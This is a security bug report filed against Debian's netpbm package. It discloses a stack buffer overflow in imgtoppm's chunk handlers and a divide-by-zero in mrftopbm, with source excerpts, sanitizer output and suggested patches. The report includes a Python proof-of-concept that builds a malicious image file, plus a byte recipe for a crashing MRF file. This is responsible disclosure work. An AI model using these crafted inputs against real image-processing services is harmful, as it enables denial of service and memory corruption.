<div dir="ltr">Package: netpbm<br>Version: 2:11.13.03+ds-2<br>Severity: important<br>Tags: security patch<br><br>Dear Maintainer,<br><br>imgtoppm (/usr/bin/imgtoppm) contains a stack-based buffer overflow<br>(CWE-121 / CWE-787) reachable from a single untrusted input file, with no<br>authentication or user interaction.<br><br>Root cause<br>----------<br>In converter/ppm/imgtoppm.c, the "AT" and "CM" chunk handlers read an<br>8-byte ASCII length field, convert it with atoi(), and then fread() that<br>many bytes into a fixed 4096-byte stack buffer, with no check that the<br>length fits the buffer:<br><br>  unsigned char buf[4096];                 /* line 35 */<br>  ...<br>  buf[8] = '\0';<br>  len = atoi((char*) buf);                  /* line 63: len up to 99,999,999, not clamped */<br>  if (fread(buf, len, 1, ifP) != 1)         /* line 64: writes len bytes into buf[4096] */<br>      pm_error("bad attributes buf");<br>  buf[len] = '\0';                          /* line 66: additional OOB write at offset len */<br><br>The same pattern is repeated in the "CM" handler (lines 85-86). 'len' is<br>fully attacker-controlled and is never compared against sizeof(buf). The<br>fread() return-value check does not prevent the overflow: glibc fread<br>writes the bytes it reads before returning, so supplying e.g. 6000 bytes<br>overflows the buffer even though fread then returns 0. The signature is<br>not validated, so the vulnerable path is trivially reachable.<br><br>The Debian 10_netpbm-security-code.patch hardened the multiplication<br>overflow paths in this same file (overflow2(cmaplen,3), overflow2(cols,<br>rows)) but left these length-driven fread() reads unbounded.<br><br>Proof of concept<br>----------------<br>  python3 -c '<br>  sig    = b"IMG\x00\x00\x00\x00\x00"   # 8-byte signature (not validated)<br>  tag    = b"AT"                          # attributes chunk<br>  length = b"00006000"                    # atoi() -> 6000, no clamp to 4096<br>  payload= b"A" * 6000                     # 6000 bytes -> fread(buf,6000,1) into buf[4096]<br>  open("poc_img.img","wb").write(sig+tag+length+payload)'<br><br>  $ imgtoppm poc_img.img > /dev/null<br>  *** buffer overflow detected ***: terminated<br>  Aborted            (exit 134 / SIGABRT)<br><br>Under AddressSanitizer the underlying out-of-bounds write is confirmed:<br><br>  ==ERROR: AddressSanitizer: stack-buffer-overflow<br>  WRITE of size 6000 at 0x... thread T0<br>      #1 main converter/ppm/imgtoppm.c:64<br>  'buf' (line 35) <== Memory access overflows this variable<br>  SUMMARY: AddressSanitizer: stack-buffer-overflow converter/ppm/imgtoppm.c:64 in main<br><br>Impact<br>------<br>Any service that runs imgtoppm on untrusted input (image conversion /<br>thumbnailing pipelines using the netpbm toolchain) is affected. On the<br>default hardened Debian build (_FORTIFY_SOURCE + stack canaries) the<br>overflow is detected and the process aborts, i.e. a reliable denial of<br>service; the underlying out-of-bounds write is real (ASan-confirmed) and<br>is more severe on builds without fortify/canaries or via the<br>buf[len] = '\0' arbitrary-offset write.<br><br>Suggested fix<br>-------------<br>Clamp the chunk length to the buffer size before reading, in every chunk<br>handler ("AT" and "CM"):<br><br>  len = atoi((char*) buf);<br>  if (len >= sizeof(buf))<br>      pm_error("chunk length %u exceeds maximum %u",<br>               len, (unsigned) sizeof(buf));<br>  if (fread(buf, len, 1, ifP) != 1)<br>      pm_error("bad attributes buf");<br><br>This also removes the buf[len] = '\0' out-of-bounds write.<br><br>Secondary issue (same package, lower severity)<br>----------------------------------------------<br>converter/pbm/mrftopbm.c has a reachable divide-by-zero (CWE-369 / SIGFPE).<br>cols/rows are read from the MRF header; w64 = (cols+63)/64. When cols == 0<br>(or rows == 0), w64/h64 become 0 and the overflow guard divides by them:<br><br>  if (UINT_MAX/w64/64/h64/64 == 0)   /* line 169: UINT_MAX/0 -> SIGFPE */<br>      pm_error(...);<br><br>PoC (13-byte file): "MRF1" + cols=0 (4 BE) + rows=1 (4 BE) + subtype 0x00<br><br>  $ mrftopbm poc.mrf<br>  Floating point exception   (exit 136 / SIGFPE)<br><br>Fix: reject cols == 0 || rows == 0 before computing the guard.<br><br>Notes<br>-----<br>No CVE was found tracking the imgtoppm overflow; historical netpbm CVEs<br>cover other tools (giftopnm CVE-2008-0554, xpmtoppm CVE-2009-4274,<br>pnmtopng CVE-2005-2978). Both issues are present and reproducible in the<br>current shipped version 2:11.13.03+ds-2. I am happy to help validate a<br>fix and to coordinate CVE assignment.<br><br>Regards,<br>Maram Sai Harsha Vardhan Reddy<br>Security Researcher<br><a href="mailto:maramsaiharsha24@gmail.com">maramsaiharsha24@gmail.com</a><br></div>